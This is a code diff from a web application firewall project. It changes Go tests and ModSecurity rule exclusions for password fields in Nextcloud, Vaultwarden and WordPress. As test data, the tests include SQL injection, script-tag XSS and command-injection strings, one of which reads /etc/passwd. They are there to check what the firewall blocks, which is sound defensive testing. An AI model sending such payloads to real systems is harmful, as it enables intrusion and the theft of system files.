r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
||||
|
||||
wantRandomPasswordsPass(t, r, "password")
|
||||
wantPasswordAttacksPass(t, r, "password")
|
||||
wantPasswordAttacksRefused(t, r, "password")
|
||||
}
|
||||
|
||||
func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
password := []string{passwordKey}
|
||||
change := []string{"oldPassword", "newPassword"}
|
||||
recovery := []string{"oldPassword", "newPassword", "confirmPassword"}
|
||||
adminRecovery := []string{"recoveryPassword", "confirmPassword"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/ocs/v1.php/person/check", formData, password},
|
||||
{"/ocs/v2.php/person/check", jsonBody, password},
|
||||
{"/ocs/v2.php/core/apppassword/confirm", jsonBody, password},
|
||||
{nextcloudShares + "/42/send-email", jsonBody, password},
|
||||
{"/apps/user_ldap/renewpassword", formData, change},
|
||||
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
||||
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||
{"/login/confirm", jsonBody, password},
|
||||
{"/index.php/login/confirm", formData, password},
|
||||
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
||||
{
|
||||
"/settings/personal/changepassword", jsonBody,
|
||||
[]string{"oldpassword", "newpassword"},
|
||||
},
|
||||
{
|
||||
"/index.php/settings/users/changepassword", formData,
|
||||
[]string{passwordKey, "recoveryPassword"},
|
||||
},
|
||||
{nextcloudShare + "/authenticate/showShare", formData, password},
|
||||
{nextcloudUsers, jsonBody, password},
|
||||
{"/ocs/v1.php/cloud/users/alice", formData, password},
|
||||
{nextcloudUsers + "/alice", jsonBody, password},
|
||||
{nextcloudShares, jsonBody, password},
|
||||
{nextcloudShares + "/42", formData, password},
|
||||
})
|
||||
}
|
||||
|
||||
// TestNextcloudUserPasswordInValuePasses sends a password as Nextcloud's
|
||||
// provisioning API takes it, as the value of the field the key names.
|
||||
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
target := nextcloudUsers + "/alice"
|
||||
|
||||
form := request{http.MethodPut, target, []string{formData}}
|
||||
jsonRequest := request{http.MethodPut, target, []string{jsonBody}}
|
||||
|
||||
formPassword := func(passwords ...string) string {
|
||||
return "key=password&" + formBody("value", passwords...)
|
||||
}
|
||||
jsonPassword := func(passwords ...string) string {
|
||||
body := passwordBody(t, jsonRequest, []string{"value"}, passwords...)
|
||||
|
||||
return `{"key":"password",` + body[1:]
|
||||
}
|
||||
|
||||
misfiring := misfiringPasswords(t)
|
||||
|
||||
for _, sent := range []struct {
|
||||
r request
|
||||
body string
|
||||
}{
|
||||
{form, formPassword(misfiring...)},
|
||||
{jsonRequest, jsonPassword(misfiring...)},
|
||||
{form, formPassword("' OR '1'='1", "<img src=x onerror=x()>")},
|
||||
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
||||
} {
|
||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
||||
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// Any other key keeps every rule, and so does a second key.
|
||||
for _, sent := range []struct {
|
||||
r request
|
||||
body string
|
||||
}{
|
||||
{form, "key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
|
||||
{form, formPassword(scriptTag)},
|
||||
{form, "key=password&key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
|
||||
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
||||
} {
|
||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
||||
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// A value in the query keeps every rule.
|
||||
r := request{
|
||||
http.MethodPut, target + "?value=%27%20OR%20%271%27%3D%271",
|
||||
[]string{formData},
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, "key=password"); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -487,10 +361,6 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("%s let through: %d", request, score)
|
||||
}
|
||||
}
|
||||
|
||||
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
|
||||
t.Errorf("password %s let through: %d", commandInjection, score)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||
|
||||
@@ -1,180 +0,0 @@
|
||||
//go:build recorded
|
||||
|
||||
// The tests that check the apps' recorded requests in testdata. The recorded
|
||||
// tag keeps them out of the test phase's pass with the race detector, and
|
||||
// its second pass, without the race detector, runs them.
|
||||
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||
// Each has the Referer of a page that names the same, as a page opened
|
||||
// from it has.
|
||||
func giteaRequests(t *testing.T) []request {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []request
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
target, header, _ := strings.Cut(line, " ")
|
||||
|
||||
headers := []string{"Referer: http://git.example" + target}
|
||||
if header != "" {
|
||||
headers = append(headers, header)
|
||||
}
|
||||
|
||||
requests = append(requests, get(target, headers...))
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, r := range giteaRequests(t) {
|
||||
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// recordedRequest is a line of a file of recorded requests in testdata.
|
||||
type recordedRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// recordedRequests returns the recorded ordinary requests in the file name
|
||||
// in testdata, each with its body.
|
||||
func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join("testdata", name)
|
||||
|
||||
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []recordedRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r recordedRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||
// requests in the file name in testdata is refused, at the defaults and
|
||||
// while bodies are read. A request with neither a body nor a Content-Type
|
||||
// header is checked only at the defaults: with neither, the set that reads
|
||||
// bodies has nothing more to check. Each request runs as its own parallel
|
||||
// subtest.
|
||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
||||
name, _, _ := strings.Cut(header, ":")
|
||||
|
||||
return strings.EqualFold(name, "Content-Type")
|
||||
})
|
||||
if recorded.Body == "" && !typed {
|
||||
return
|
||||
}
|
||||
|
||||
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||
r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "wordpress-requests.txt")
|
||||
}
|
||||
@@ -82,45 +82,3 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
||||
"id:900153,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920120;FILES"
|
||||
|
||||
# The admin token, which an administrator types at /admin, skips each rule that
|
||||
# random passwords set off. The master password is hashed by the apps before
|
||||
# they send it, so password and masterPasswordHash need no exclusion.
|
||||
SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
|
||||
"id:900154,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:token "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
||||
@@ -1,9 +1,7 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"math/rand/v2"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
@@ -29,6 +27,12 @@ const (
|
||||
// vaultwardenEmail is a JSON body that sends an address in email.
|
||||
const vaultwardenEmail = `{"email":"VALUE"}`
|
||||
|
||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||
}
|
||||
|
||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||
// request that sends it, and its body, with VALUE where the field's value
|
||||
// goes.
|
||||
@@ -279,73 +283,6 @@ func vaultwardenUpload(name string) string {
|
||||
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
||||
}
|
||||
|
||||
func TestVaultwardenAdminTokenPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/admin", formData, []string{"token"}},
|
||||
})
|
||||
}
|
||||
|
||||
// masterPasswordHashes returns count random 32-byte hashes in base64, the
|
||||
// form in which the apps send a master password.
|
||||
func masterPasswordHashes(count int) []string {
|
||||
const size, seed = 32, 288
|
||||
|
||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||
|
||||
hashes := make([]string, count)
|
||||
|
||||
for i := range hashes {
|
||||
hash := make([]byte, size)
|
||||
for j := range hash {
|
||||
hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256
|
||||
}
|
||||
|
||||
hashes[i] = base64.StdEncoding.EncodeToString(hash)
|
||||
}
|
||||
|
||||
return hashes
|
||||
}
|
||||
|
||||
// The apps hash the master password before they send it, so these fields
|
||||
// hold only base64 and set off no rule, with no exclusion.
|
||||
func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const perBody = 20
|
||||
|
||||
crs := readingBodies(t)
|
||||
hashes := masterPasswordHashes(perBody)
|
||||
|
||||
for _, sent := range []struct {
|
||||
r request
|
||||
names []string
|
||||
}{
|
||||
{
|
||||
request{http.MethodPost, "/identity/connect/token", []string{formData}},
|
||||
[]string{passwordKey},
|
||||
},
|
||||
{
|
||||
request{http.MethodPost, vaultwardenPassword, []string{jsonBody}},
|
||||
[]string{"masterPasswordHash", "newMasterPasswordHash"},
|
||||
},
|
||||
{
|
||||
request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}},
|
||||
[]string{"masterPasswordHash"},
|
||||
},
|
||||
} {
|
||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
|
||||
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
@@ -96,129 +96,11 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
||||
|
||||
# Signing in, in pwd, which skips each rule that random passwords set off.
|
||||
# Signing in, in pwd, where a password holds any characters:
|
||||
# 930120: a password ending in /etc/hosts
|
||||
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
||||
"id:900704,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:pwd "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
|
||||
|
||||
# The other passwords, which skip the same rules:
|
||||
# pass1, pass2: resetting the password at /wp-login.php, changing it on the
|
||||
# profile page and the page that edits a user, and adding a user
|
||||
# post_password: the password of a protected post, sent to /wp-login.php
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:wp-login\.php|wp-admin/(?:profile|user-edit|user-new)\.php)$" \
|
||||
"id:900715,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:pass[12]|post_password)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass[12]|post_password)$/"
|
||||
|
||||
# Creating or editing a user through the REST API, in password, in form data or
|
||||
# JSON, which skips the same rules.
|
||||
SecRule TX:rest_route "@rx ^/wp/v2/users(?:/(?:me|[0-9]+))?$" \
|
||||
"id:900716,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
|
||||
|
||||
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
||||
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
||||
|
||||
Reference in new issue
Block a user